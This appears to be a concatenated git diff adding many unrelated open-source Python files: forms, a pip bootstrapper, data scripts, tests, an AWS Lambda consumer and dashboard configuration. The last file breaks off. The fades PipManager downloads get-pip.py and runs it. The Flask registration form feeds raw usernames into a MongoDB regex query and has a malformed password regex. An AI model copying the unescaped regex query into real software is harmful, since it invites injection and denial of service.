b/pool/shard009/Python/0081776_form.py new file mode 100644 index 0000000000000000000000000000000000000000..ba988a4cc94bcda1ba6185b655bad7b40ed23c4d --- /dev/null +++ b/pool/shard009/Python/0081776_form.py @@ -0,0 +1,41 @@ +# -*- coding:utf-8 -*- +# Created by Vaayne at 2016/07/27 20:29 +from flask_wtf import Form, RecaptchaField +from wtforms import StringField, SubmitField, PasswordField, BooleanField, ValidationError +from wtforms.validators import DataRequired, Email, Length, Regexp, EqualTo +from .user import User +from ... import db + + +class LoginForm(Form): + email = StringField('Email', validators=[DataRequired(), Email()]) + password = PasswordField('Password', validators=[DataRequired()]) + remember_me = BooleanField('Keep me login in') + submit = SubmitField('Log In') + # captcha = RecaptchaField() + + +class RegistrationForm(Form): + email = StringField('Email', validators=[DataRequired(), Email()]) + username = StringField('Username', validators=[ + DataRequired(), Length(1, 64), Regexp('^[A-Za-z][A-Za-z0-9_.]*$', 0, + u'用户名只能包含字母、数字、点.和下划线_') + ]) + password = PasswordField('Password', validators=[ + DataRequired(), EqualTo('password2', message=u'密码必须匹配'), + Regexp('((?=.*\d)(?=.*[a-zA-Z?=.*[@#$%]).{6,20})', + 0, u'密码太弱,请使用字母加数字组合,最好含有特殊字符,长度6-20') + ]) + password2 = PasswordField('Confirm Password', validators=[DataRequired()]) + submit = SubmitField() + + def validate_email(self, field): + print (type(field), field) + if db.users.find_one({'email': field.data}): + raise ValidationError(u'此Email已经注册') + + def validate_username(self, field): + print (type(field), field) + if db.users.find_one({'username': {'$regex': field.data, '$options':"$i"}}): + raise ValidationError(u'此用户名已存在') + diff --git a/pool/shard009/Python/0081779_fields.py b/pool/shard009/Python/0081779_fields.py new file mode 100644 index 0000000000000000000000000000000000000000..f737f03b4d0a47fb2a737f94492a430e7979a3c9 --- /dev/null +++ b/pool/shard009/Python/0081779_fields.py @@ -0,0 +1,22 @@ +# This file is part of Wolnelektury, licensed under GNU Affero GPLv3 or later. +# Copyright © Fundacja Nowoczesna Polska. See NOTICE for more information. +# +from django import forms +from django.utils.html import conditional_escape +from django.utils.safestring import mark_safe +from .widgets import HeaderWidget + + +class HeaderField(forms.CharField): + def __init__(self, required=False, widget=None, *args, **kwargs): + if widget is None: + widget = HeaderWidget + super(HeaderField, self).__init__(required=False, widget=widget, *args, **kwargs) + self.label = mark_safe('' + conditional_escape(self.label) + '') + self.label_suffix = '' + + +class SeparatorField(HeaderField): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.label = '' diff --git a/pool/shard009/Python/0081784_pipmanager.py b/pool/shard009/Python/0081784_pipmanager.py new file mode 100644 index 0000000000000000000000000000000000000000..18ccffd4ff01c060afb787fc7b9c9a84b9db4eba --- /dev/null +++ b/pool/shard009/Python/0081784_pipmanager.py @@ -0,0 +1,87 @@ +# Copyright 2014, 2015 Facundo Batista, Nicolás Demarchi +# +# This program is free software: you can redistribute it and/or modify it +# under the terms of the GNU General Public License version 3, as published +# by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranties of +# MERCHANTABILITY, SATISFACTORY QUALITY, or FITNESS FOR A PARTICULAR +# PURPOSE. See the GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program. If not, see . +# +# For further info, check https://github.com/PyAr/fades +# +# NOTE: We are not using pip as a API because fades is not running in the same +# env that the child program. So we have to call the pip binary that is inside +# the created virtualenv. + + +import os +import logging + +from urllib import request + +from fades import helpers + +logger = logging.getLogger(__name__) + +PIP_INSTALLER = "https://bootstrap.pypa.io/get-pip.py" + + +class PipManager(): + """A manager for all PIP related actions.""" + def __init__(self, env_bin_path, pip_installed=False): + self.env_bin_path = env_bin_path + self.pip_installed = pip_installed + self.pip_exe = os.path.join(self.env_bin_path, "pip") + basedir = helpers.get_basedir() + self.pip_installer_fname = os.path.join(basedir, "get-pip.py") + + def install(self, dependency): + """Install a new dependency.""" + if not self.pip_installed: + logger.info("Need to install a dependency with pip, but no builtin, " + "doing it manually (just wait a little, all should go well)") + self._brute_force_install_pip() + + str_dep = str(dependency) + args = [self.pip_exe, "install", str_dep] + logger.info("Installing dependency: %s", str_dep) + try: + helpers.logged_exec(args) + except Exception as error: + logger.exception("Error installing %s: %s", str_dep, error) + exit() + + def get_version(self, dependency): + """Returns the installed version parsing the output of 'pip show'.""" + logger.debug("getting installed version for %s", dependency) + stdout = helpers.logged_exec([self.pip_exe, "show", dependency]) + version = [line for line in stdout if line.startswith('Version:')] + if len(version) == 1: + version = version[0].strip().split()[1] + logger.debug("Installed version of %s is: %s", dependency, version) + return version + else: + logger.error('Fades is having problems getting the installed version. ' + 'Run with -v or check the logs for details') + return '' + + def _brute_force_install_pip(self): + """A brute force install of pip itself.""" + if os.path.exists(self.pip_installer_fname): + logger.debug("Using pip installer from %r", self.pip_installer_fname) + else: + logger.debug( + "Installer for pip not found in %r, downloading it", self.pip_installer_fname) + u = request.urlopen(PIP_INSTALLER) + with open(self.pip_installer_fname, 'wb') as fh: + fh.write(u.read()) + + logger.debug("Installing PIP manually in the virtualenv") + python_exe = os.path.join(self.env_bin_path, "python") + helpers.logged_exec([python_exe, self.pip_installer_fname]) + self.pip_installed = True diff --git a/pool/shard009/Python/0081786_pokedex.py b/pool/shard009/Python/0081786_pokedex.py new file mode 100644 index 0000000000000000000000000000000000000000..2e4ad3937db38b2f5791702ac5bf5fe9853afe63 --- /dev/null +++ b/pool/shard009/Python/0081786_pokedex.py @@ -0,0 +1,27 @@ +import re +import json + +import util + +def read_pokemonid(): + # data -> http://www.pokemon.com/us/pokedex/ + list_pokemons = [] + pokemons = {} + + with open("id.txt", 'r', encoding='utf-8') as datafile: + for line in datafile: + if line != '\n': + pokemon = {} + temp = line.replace('\n', '').split(' ') + list_pokemons.append([temp[0], int(temp[1])]) + + for i, pokemon in enumerate (list_pokemons): + pokemons[i+1] = pokemon[0] + + util.write_json(pokemons, 'id.json') + +def main(): + read_pokemonid() + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/pool/shard009/Python/0081791_output.py b/pool/shard009/Python/0081791_output.py new file mode 100644 index 0000000000000000000000000000000000000000..38eaebbdbb07e1ed91103e80ea99b9dbe4580d39 --- /dev/null +++ b/pool/shard009/Python/0081791_output.py @@ -0,0 +1,35 @@ +# Copyright 2008-2015 Nokia Solutions and Networks +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import os + + +class LibdocOutput(object): + + def __init__(self, output_path, format): + self._output_path = output_path + self._format = format.upper() + self._output_file = None + + def __enter__(self): + if self._format == 'HTML': + self._output_file = open(self._output_path, 'w') + return self._output_file + return self._output_path + + def __exit__(self, *exc_info): + if self._output_file: + self._output_file.close() + if any(exc_info): + os.remove(self._output_path) diff --git a/pool/shard009/Python/0081792_fthres.py b/pool/shard009/Python/0081792_fthres.py new file mode 100644 index 0000000000000000000000000000000000000000..6f8958ae3fe53731ed636fef89574ad054d13a65 --- /dev/null +++ b/pool/shard009/Python/0081792_fthres.py @@ -0,0 +1,77 @@ +# -*- coding: utf-8 -*- +# +# filter out features by language coverage +# +import sys, os +import codecs +from collections import defaultdict +import json +from argparse import ArgumentParser + +sys.path.insert(1, os.path.join(sys.path[0], os.path.pardir)) +from json_utils import load_json_file, load_json_stream + + +def main(): + sys.stderr = codecs.getwriter("utf-8")(sys.stderr) + + parser = ArgumentParser() + parser.add_argument("--fthres", dest="fthres", metavar="FLOAT", type=float, default=0.0, + help="eliminate features with higher rate of missing values [0,1]") + parser.add_argument("langs_in", metavar="LANGS_IN", default=None) + parser.add_argument("flist_in", metavar="FLIST_IN", default=None) + parser.add_argument("langs_out", metavar="LANGS_OUT", default=None) + parser.add_argument("flist_out", metavar="FLIST_OUT", default=None) + args = parser.parse_args() + + bad_features = [ + "39B", # Inclusive/Exclusive Forms in Pama-Nyungan -- only covers Pama-Nyungan + "81B", # Languages with two Dominant Orders of Subject, Object, and Verb -- no value for non-applicable + "139A", # Irregular Negatives in Sign Languages + "140A", # Question Particles in Sign Languages + "141A", # Writing Systems -- irrelevant + ] + + fid2struct = load_json_file(args.flist_in) + langs =[lang for lang in load_json_stream(open(args.langs_in))] + + lang_total = len(langs) + fsize_in = len(fid2struct) + fcounts = defaultdict(int) + for lang in langs: + for k, v in lang["features"].iteritems(): + fcounts[k] += 1 + + fsurvived = 0 + fid2struct2 = [] + wals_id_list = {} + for i, struct in enumerate(fid2struct): + wid = struct["wals_id"] + freq = fcounts[wid] + if wid not in bad_features and float(freq) / lang_total >= args.fthres: + struct["fid"] = len(fid2struct2) + fid2struct2.append(struct) + wals_id_list[wid] = True + fsurvived += 1 + + deleted = 0 + for lang in langs: + for k in lang["features"].keys(): + if k not in wals_id_list: + del lang["features"][k] + deleted += 1 + + sys.stderr.write("shrink features: %d -> %d (%f%%)\n" % (fsize_in, fsurvived, fsurvived / float(fsize_in))) + sys.stderr.write("%d elements deleted\n" % deleted) + + with codecs.getwriter("utf-8")(open(args.flist_out, 'w')) as f: + f.write("%s\n" % json.dumps(fid2struct2)) + + with codecs.getwriter("utf-8")(open(args.langs_out, 'w')) as f: + for lang in langs: + f.write("%s\n" % json.dumps(lang)) + + + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0081796_parser.py b/pool/shard009/Python/0081796_parser.py new file mode 100644 index 0000000000000000000000000000000000000000..e121e04a2bab70e18cc76ef785bd42fb5a3dfa0e --- /dev/null +++ b/pool/shard009/Python/0081796_parser.py @@ -0,0 +1,47 @@ +#******************************************************************************* +# +# Copyright (C) 2017 Jacob Barhak, Leandro Watanabe, Chris Myers +# This file is part of the SBML Arrays Examples. +# +# This script is free software: you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# ADDITIONAL CLARIFICATION +# This script is distributed in the hope that it will be +# useful, but "as is" and WITHOUT ANY WARRANTY of any kind, including any +# warranty that it will not infringe on any property rights of another party +# or the IMPLIED WARRANTIES OF MERCHANTABILITY or FITNESS FOR A PARTICULAR +# PURPOSE. THE AUTHORS assume no responsibilities with respect to the use +# of it. +# +#******************************************************************************* + +import sys +import os + +def convert_to_csv(input): + output = input.replace(".tsd", ".csv") + file = open(input,"r") + out = open(output,"w") + + text = file.read() + text = text[1:len(text)-1] + text = text.replace('"', '') + while len(text) > 0: + parse = text[text.find("(")+1:text.find(")")] + text = text[len(parse)+3:len(text)] + if len(parse) > 0: + out.write(parse + "\n") + + + file.close() + out.close() + +if __name__ == '__main__': + directory = sys.argv[1] + for tsd in os.listdir(directory): + if tsd.endswith('.tsd'): + path = os.path.join(directory, tsd) + convert_to_csv(path) diff --git a/pool/shard009/Python/0081808_percent_development_type_DDD_within_walking_distance.py b/pool/shard009/Python/0081808_percent_development_type_DDD_within_walking_distance.py new file mode 100644 index 0000000000000000000000000000000000000000..8927e4d50c8f6dbaa1d9e213404ef458989b80bc --- /dev/null +++ b/pool/shard009/Python/0081808_percent_development_type_DDD_within_walking_distance.py @@ -0,0 +1,79 @@ +# Opus/UrbanSim urban simulation software. +# Copyright (C) 2005-2009 University of Washington +# See opus_core/LICENSE + +from opus_core.variables.variable import Variable +from variable_functions import my_attribute_label + +class percent_development_type_DDD_within_walking_distance(Variable): + """There is exactly one variable corresponding to each defined development type dynamic_land_use_variables, + where "?" is the development type group's NAME (e.g. residential, commercial). + 100 * [sum over c in cell.walking_radius of (if c.development_type.dynamic_land_use_variables == N then 1 else 0)] / + (number of cells within walking distance)""" + + _return_type="float32" + def __init__(self, type_id): + self.type_id = type_id + self.number_of_development_type_wwd = \ + "number_of_development_type_"+str(self.type_id)+"_within_walking_distance" + Variable.__init__(self) + + def dependencies(self): + return [my_attribute_label(self.number_of_development_type_wwd)] + + def compute(self, dataset_pool): + urbansim_constant = dataset_pool.get_dataset('urbansim_constant') + return 100.0*self.get_dataset().get_attribute(self.number_of_development_type_wwd)/ \ + float(urbansim_constant["walking_distance_footprint"].sum()) + + +from numpy import array +from numpy import ma + +from opus_core.tests import opus_unittest +from opus_core.datasets.dataset_pool import DatasetPool +from opus_core.storage_factory import StorageFactory + +class Tests(opus_unittest.OpusTestCase): + variable_name = "randstad.gridcell.percent_development_type_12_within_walking_distance" + + def test_my_inputs( self ): + storage = StorageFactory().get_storage('dict_storage') + + storage.write_table( + table_name='gridcells', + table_data={ + 'grid_id': array([1,2,3,4]), + 'relative_x': array([1,2,1,2]), + 'relative_y': array([1,1,2,2]), + 'number_of_development_type_12_within_walking_distance': array([3, 5, 1, 0]) + } + ) + storage.write_table( + table_name='urbansim_constants', + table_data={ + "walking_distance_circle_radius": array([150]), + 'cell_size': array([150]), + "acres": array([105.0]), + } + ) + + dataset_pool = DatasetPool(package_order=['urbansim'], + storage=storage) + + gridcell = dataset_pool.get_dataset('gridcell') + gridcell.compute_variables(self.variable_name, + dataset_pool=dataset_pool) + values = gridcell.get_attribute(self.variable_name) + + should_be = array( [3/5.0*100.0, + 5/5.0*100.0, + 1/5.0*100.0, + 0/5.0*100.0] ) + + self.assert_(ma.allclose( values, should_be, rtol=1e-7), + msg = "Error in " + self.variable_name) + + +if __name__=='__main__': + opus_unittest.main() \ No newline at end of file diff --git a/pool/shard009/Python/0081810_test_utils.py b/pool/shard009/Python/0081810_test_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..c4c3014452c6e23929af1ef7ce38578229484b29 --- /dev/null +++ b/pool/shard009/Python/0081810_test_utils.py @@ -0,0 +1,239 @@ +# Copyright 2011 Justin Santa Barbara +# Copyright 2012 Hewlett-Packard Development Company, L.P. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import errno +import os +import os.path +import tempfile + +import mock +from oslo_concurrency import processutils +from oslo_config import cfg +from oslotest import base as test_base + +from ironic_lib import exception +from ironic_lib import utils + +CONF = cfg.CONF + + +class BareMetalUtilsTestCase(test_base.BaseTestCase): + + def test_unlink(self): + with mock.patch.object(os, "unlink") as unlink_mock: + unlink_mock.return_value = None + utils.unlink_without_raise("/fake/path") + unlink_mock.assert_called_once_with("/fake/path") + + def test_unlink_ENOENT(self): + with mock.patch.object(os, "unlink") as unlink_mock: + unlink_mock.side_effect = OSError(errno.ENOENT) + utils.unlink_without_raise("/fake/path") + unlink_mock.assert_called_once_with("/fake/path") + + +class ExecuteTestCase(test_base.BaseTestCase): + + def test_retry_on_failure(self): + fd, tmpfilename = tempfile.mkstemp() + _, tmpfilename2 = tempfile.mkstemp() + try: + fp = os.fdopen(fd, 'w+') + fp.write('''#!/bin/sh +# If stdin fails to get passed during one of the runs, make a note. +if ! grep -q foo +then + echo 'failure' > "$1" +fi +# If stdin has failed to get passed during this or a previous run, exit early. +if grep failure "$1" +then + exit 1 +fi +runs="$(cat $1)" +if [ -z "$runs" ] +then + runs=0 +fi +runs=$(($runs + 1)) +echo $runs > "$1" +exit 1 +''') + fp.close() + os.chmod(tmpfilename, 0o755) + try: + self.assertRaises(processutils.ProcessExecutionError, + utils.execute, + tmpfilename, tmpfilename2, attempts=10, + process_input=b'foo', + delay_on_retry=False) + except OSError as e: + if e.errno == errno.EACCES: + self.skipTest("Permissions error detected. " + "Are you running with a noexec /tmp?") + else: + raise + fp = open(tmpfilename2, 'r') + runs = fp.read() + fp.close() + self.assertNotEqual(runs.strip(), 'failure', 'stdin did not ' + 'always get passed ' + 'correctly') + runs = int(runs.strip()) + self.assertEqual(10, runs, + 'Ran %d times instead of 10.' % (runs,)) + finally: + os.unlink(tmpfilename) + os.unlink(tmpfilename2) + + def test_unknown_kwargs_raises_error(self): + self.assertRaises(processutils.UnknownArgumentError, + utils.execute, + '/usr/bin/env', 'true', + this_is_not_a_valid_kwarg=True) + + def test_check_exit_code_boolean(self): + utils.execute('/usr/bin/env', 'false', check_exit_code=False) + self.assertRaises(processutils.ProcessExecutionError, + utils.execute, + '/usr/bin/env', 'false', check_exit_code=True) + + def test_no_retry_on_success(self): + fd, tmpfilename = tempfile.mkstemp() + _, tmpfilename2 = tempfile.mkstemp() + try: + fp = os.fdopen(fd, 'w+') + fp.write('''#!/bin/sh +# If we've already run, bail out. +grep -q foo "$1" && exit 1 +# Mark that we've run before. +echo foo > "$1" +# Check that stdin gets passed correctly. +grep foo +''') + fp.close() + os.chmod(tmpfilename, 0o755) + try: + utils.execute(tmpfilename, + tmpfilename2, + process_input=b'foo', + attempts=2) + except OSError as e: + if e.errno == errno.EACCES: + self.skipTest("Permissions error detected. " + "Are you running with a noexec /tmp?") + else: + raise + finally: + os.unlink(tmpfilename) + os.unlink(tmpfilename2) + + @mock.patch.object(processutils, 'execute') + @mock.patch.object(os.environ, 'copy', return_value={}) + def test_execute_use_standard_locale_no_env_variables(self, env_mock, + execute_mock): + utils.execute('foo', use_standard_locale=True) + execute_mock.assert_called_once_with('foo', + env_variables={'LC_ALL': 'C'}) + + @mock.patch.object(processutils, 'execute') + def test_execute_use_standard_locale_with_env_variables(self, + execute_mock): + utils.execute('foo', use_standard_locale=True, + env_variables={'foo': 'bar'}) + execute_mock.assert_called_once_with('foo', + env_variables={'LC_ALL': 'C', + 'foo': 'bar'}) + + @mock.patch.object(processutils, 'execute') + def test_execute_not_use_standard_locale(self, execute_mock): + utils.execute('foo', use_standard_locale=False, + env_variables={'foo': 'bar'}) + execute_mock.assert_called_once_with('foo', + env_variables={'foo': 'bar'}) + + def test_execute_get_root_helper(self): + with mock.patch.object(processutils, 'execute') as execute_mock: + helper = utils._get_root_helper() + utils.execute('foo', run_as_root=True) + execute_mock.assert_called_once_with('foo', run_as_root=True, + root_helper=helper) + + def test_execute_without_root_helper(self): + with mock.patch.object(processutils, 'execute') as execute_mock: + utils.execute('foo', run_as_root=False) + execute_mock.assert_called_once_with('foo', run_as_root=False) + + +class MkfsTestCase(test_base.BaseTestCase): + + @mock.patch.object(utils, 'execute') + def test_mkfs(self, execute_mock): + utils.mkfs('ext4', '/my/block/dev') + utils.mkfs('msdos', '/my/msdos/block/dev') + utils.mkfs('swap', '/my/swap/block/dev') + + expected = [mock.call('mkfs', '-t', 'ext4', '-F', '/my/block/dev', + run_as_root=True, + use_standard_locale=True), + mock.call('mkfs', '-t', 'msdos', '/my/msdos/block/dev', + run_as_root=True, + use_standard_locale=True), + mock.call('mkswap', '/my/swap/block/dev', + run_as_root=True, + use_standard_locale=True)] + self.assertEqual(expected, execute_mock.call_args_list) + + @mock.patch.object(utils, 'execute') + def test_mkfs_with_label(self, execute_mock): + utils.mkfs('ext4', '/my/block/dev', 'ext4-vol') + utils.mkfs('msdos', '/my/msdos/block/dev', 'msdos-vol') + utils.mkfs('swap', '/my/swap/block/dev', 'swap-vol') + + expected = [mock.call('mkfs', '-t', 'ext4', '-F', '-L', 'ext4-vol', + '/my/block/dev', run_as_root=True, + use_standard_locale=True), + mock.call('mkfs', '-t', 'msdos', '-n', 'msdos-vol', + '/my/msdos/block/dev', run_as_root=True, + use_standard_locale=True), + mock.call('mkswap', '-L', 'swap-vol', + '/my/swap/block/dev', run_as_root=True, + use_standard_locale=True)] + self.assertEqual(expected, execute_mock.call_args_list) + + @mock.patch.object(utils, 'execute', + side_effect=processutils.ProcessExecutionError( + stderr=os.strerror(errno.ENOENT))) + def test_mkfs_with_unsupported_fs(self, execute_mock): + self.assertRaises(exception.FileSystemNotSupported, + utils.mkfs, 'foo', '/my/block/dev') + + @mock.patch.object(utils, 'execute', + side_effect=processutils.ProcessExecutionError( + stderr='fake')) + def test_mkfs_with_unexpected_error(self, execute_mock): + self.assertRaises(processutils.ProcessExecutionError, utils.mkfs, + 'ext4', '/my/block/dev', 'ext4-vol') + + +class IsHttpUrlTestCase(test_base.BaseTestCase): + + def test_is_http_url(self): + self.assertTrue(utils.is_http_url('http://127.0.0.1')) + self.assertTrue(utils.is_http_url('https://127.0.0.1')) + self.assertTrue(utils.is_http_url('HTTP://127.1.2.3')) + self.assertTrue(utils.is_http_url('HTTPS://127.3.2.1')) + self.assertFalse(utils.is_http_url('Zm9vYmFy')) + self.assertFalse(utils.is_http_url('11111111')) diff --git a/pool/shard009/Python/0081811_main.py b/pool/shard009/Python/0081811_main.py new file mode 100644 index 0000000000000000000000000000000000000000..15468fa7d096f46ca59289bec7e25bcbc47dc1d5 --- /dev/null +++ b/pool/shard009/Python/0081811_main.py @@ -0,0 +1,102 @@ +from tornado.ioloop import IOLoop +from tornado_botocore import Botocore +import botocore +import arrow +import json + +from poll import Poll +from update_and_delete import UpdateAndDelete +from delete import Delete + +import logging + +logging.getLogger( + 'botocore.vendored.requests.packages.urllib3.connectionpool' +).setLevel(logging.CRITICAL) + +logger = logging.getLogger(__name__) +logger.setLevel(logging.INFO) + + +session = botocore.session.get_session() +sqs_receive_message = Botocore(service='sqs', + operation='ReceiveMessage', + region_name='ap-northeast-1', + session=session) +sqs_delete_message_batch = Botocore(service='sqs', + operation='DeleteMessageBatch', + region_name='ap-northeast-1', + session=session) +db_update_item = Botocore(service='dynamodb', + operation='UpdateItem', + region_name='ap-northeast-1', + session=session) +lambda_invoke = Botocore(service='lambda', + operation='Invoke', + region_name='ap-northeast-1', + session=session) + + +def handler(event, context): + logger.info("Start!") + + table = event['table'] + queue_url = event['queueUrl'] + message_count = event['messageCount'] + consume(table, queue_url, message_count) + + finish(event) + + deadline = event['deadline'] + check_deadline(deadline) + return "Lambda job finished successfully." + + +def consume(table, queue_url, message_count): + main_loop = IOLoop.instance() + + poll = Poll(main_loop) + cal = poll.cal + delete = Delete() + update_and_delete = UpdateAndDelete(main_loop, delete) + + poll.messages(sqs_receive_message, queue_url, message_count) + + logger.info("Receive API count: {}".format(poll.fetch_count)) + logger.info("Fetched messages: {}".format(poll.message_count)) + + update_and_delete.execute(sqs_delete_message_batch, db_update_item, + queue_url, table, cal.stats) + + logger.info("Update API count: {}".format(update_and_delete.update_count)) + logger.info("Delete API count: {}".format(delete.delete_count)) + logger.info("Delete Message count: {}".format(delete.message_count)) + + +def finish(event): + execution_count = event['executionCount'] + next_execution_count = execution_count - 1 + if next_execution_count > 0: + event['executionCount'] = next_execution_count + logger.info("Invoke consumer with event: {}".format(event)) + invoke(event) + + +def invoke(event): + result = lambda_invoke.call( + FunctionName=event['consumerArn'], + InvocationType='Event', + Payload=json.dumps(event)) + status = result['StatusCode'] + if status > 300: + logger.warn("Invocation with error response: {}".format(result)) + else: + logger.info("Invocation succeeded with status code: {}".format(status)) + + +def check_deadline(deadline_str): + deadline = arrow.get(deadline_str) + now = arrow.utcnow() + if now > deadline: + logger.warn("Failed to finish execution before deadline: {}".format( + deadline_str)) diff --git a/pool/shard009/Python/0081820_test.py b/pool/shard009/Python/0081820_test.py new file mode 100644 index 0000000000000000000000000000000000000000..3260d7dbe36cb40fd6463c89c0961dbf231844db --- /dev/null +++ b/pool/shard009/Python/0081820_test.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +import unittest + +from core import database +from models import example + +class FlaskTests(unittest.TestCase): + + def testExampleMOdel(self): + thing = example.get() + self.failIf(thing is None) + self.failIf("title" not in thing.keys()) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0081824_dev_tools.py b/pool/shard009/Python/0081824_dev_tools.py new file mode 100644 index 0000000000000000000000000000000000000000..370908aa0bf8b89e9fef37a80c7d244e5f4ddeb9 --- /dev/null +++ b/pool/shard009/Python/0081824_dev_tools.py @@ -0,0 +1,95 @@ +from __future__ import print_function +import fileinput +import os +import shutil +import subprocess + +import click + + +def _get_version(): + __version__ = None + with open('flexget/_version.py') as f: + exec(f.read()) + if not __version__: + raise click.ClickException('Could not find __version__ from flexget/_version.py') + return __version__ + + +@click.group() +def cli(): + pass + + +@cli.command() +def version(): + """Prints the version number of the source""" + click.echo(_get_version()) + + +@cli.command() +@click.argument('bump_type', type=click.Choice(['dev', 'release'])) +def bump_version(bump_type): + """Bumps version to the next release, or development version.""" + cur_ver = _get_version() + click.echo('current version: %s' % cur_ver) + ver_split = cur_ver.split('.') + if 'dev' in ver_split[-1]: + if bump_type == 'dev': + # If this is already a development version, increment the dev count by 1 + ver_split[-1] = 'dev%d' % (int(ver_split[-1].strip('dev') or 0) + 1) + else: + # Just strip off dev tag for next release version + ver_split = ver_split[:-1] + else: + # Increment the revision number by one + if len(ver_split) == 2: + # We don't have a revision number, assume 0 + ver_split.append('1') + else: + ver_split[-1] = str(int(ver_split[-1]) + 1) + if bump_type == 'dev': + ver_split.append('dev') + new_version = '.'.join(ver_split) + for line in fileinput.FileInput('flexget/_version.py', inplace=1): + if line.startswith('__version__ ='): + line = "__version__ = '%s'\n" % new_version + print(line, end='') + click.echo('new version: %s' % new_version) + + +@cli.command() +def build_webui(): + cwd = os.path.join('flexget', 'ui') + + # Cleanup previous builds + click.echo('cleaning previous builds') + for folder in ['bower_components' 'node_modules']: + folder = os.path.join(cwd, folder) + if os.path.exists(folder): + shutil.rmtree(folder) + + # Install npm packages + click.echo('running `npm install`') + subprocess.check_call('npm install', cwd=cwd, shell=True) + + # Build the ui + click.echo('running `bower install`') + subprocess.check_call('bower install', cwd=cwd, shell=True) + + # Build the ui + click.echo('running `gulp buildapp`') + subprocess.check_call('gulp buildapp', cwd=cwd, shell=True) + + +@cli.command() +def upgrade_deps(): + try: + import pip + except ImportError: + raise click.ClickException('FATAL: Unable to import pip, please install it and run this again!') + pip.main(['install', '--upgrade', '-r', 'requirements.txt']) + + +if __name__ == '__main__': + cli() diff --git a/pool/shard009/Python/0081829_dashboard.py b/pool/shard009/Python/0081829_dashboard.py new file mode 100644 index 0000000000000000000000000000000000000000..6b308da29461e7ba7855be102caf87281e709d02 --- /dev/null +++ b/pool/shard009/Python/0081829_dashboard.py @@ -0,0 +1,88 @@ +# Copyright 2012 Nebula, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from django.utils.translation import ugettext_lazy as _ + +import horizon_lib + + +class BasePanels(horizon_lib.PanelGroup): + slug = "compute" + name = _("Compute") + panels = ('overview', + 'instances', + 'volumes', + 'images', + 'access_and_security',) + + +class NetworkPanels(horizon_lib.PanelGroup): + slug = "network" + name = _("Network") + panels = ('network_topology', + 'networks', + 'routers', + 'loadbalancers', + 'firewalls', + 'vpn',) + + +class ObjectStorePanels(horizon_lib.PanelGroup): + slug = "object_store" + name = _("Object Store") + panels = ('containers',) + + +class OrchestrationPanels(horizon_lib.PanelGroup): + name = _("Orchestration") + slug = "orchestration" + panels = ('stacks',) + + +class DatabasePanels(horizon_lib.PanelGroup): + name = _("Database") + slug = "database" + panels = ('databases', + 'database_backups',) + + +class DataProcessingPanels(horizon_lib.PanelGroup): + name = _("Data Processing") + slug = "data_processing" + panels = ('data_processing.clusters', + 'data_processing.cluster_templates', + 'data_processing.nodegroup_templates', + 'data_processing.job_executions', + 'data_processing.jobs', + 'data_processing.job_binaries', + 'data_processing.data_sources', + 'data_processing.data_image_registry', + 'data_processing.data_plugins',) + + +class Project(horizon_lib.Dashboard): + name = _("Project") + slug = "project" + panels = ( + BasePanels, + NetworkPanels, + ObjectStorePanels, + OrchestrationPanels, + DatabasePanels, + DataProcessingPanels,) + default_panel = 'overview' + supports_tenants = True + + +horizon_lib.register(Project) diff --git a/pool/shard009/Python/0081830_test_ml_analyzed.py b/pool/shard009/Python/0081830_test_ml_analyzed.py new file mode 100644 index 0000000000000000000000000000000000000000..9a538a6bad820cd33167c300a2be39a90a423eaf --- /dev/null +++ b/pool/shard009/Python/0081830_test_ml_analyzed.py @@ -0,0 +1,22 @@ +import unittest + +import numpy as np + +from ifcb.data.adc import SCHEMA_VERSION_1, SCHEMA_VERSION_2 + +from ..ml_analyzed import compute_ml_analyzed + +class MockBinS2(): + def __init__(self): + self.schema = SCHEMA_VERSION_2 + self.headers = { + 'runTime': 56.8045, + 'inhibitTime': 36.7328 + } + self.expected_ml_analyzed = 0.083631917 + +class TestMlAnalyzed(unittest.TestCase): + def test_compute_s2(self): + abin = MockBinS2() + ml_analyzed, _, _ = compute_ml_analyzed(abin) + assert np.allclose(ml_analyzed, abin.expected_ml_analyzed) \ No newline at end of file diff --git a/pool/shard009/Python/0081832_gid.py b/pool/shard009/Python/0081832_gid.py new file mode 100644 index 0000000000000000000000000000000000000000..e131d08acb6c62827784c4c7b8b551b5bd195d00 --- /dev/null +++ b/pool/shard009/Python/0081832_gid.py @@ -0,0 +1,21 @@ +from iotile.core.exceptions import ArgumentError + +# Generate a 0000-0000-0000-0001 given an integer +int64gid = lambda n: '-'.join(['{:04x}'.format(n >> (i << 4) & 0xFFFF) for i in range(0, 4)[::-1]]) + + +def uuid_to_slug(uuid): + """ + Return IOTile Cloud compatible Device Slug + + :param uuid: UUID + :return: string in the form of d--0000-0000-0000-0001 + """ + if not isinstance(uuid, int): + raise ArgumentError("Invalid id that is not an integer", id=uuid) + + if uuid < 0 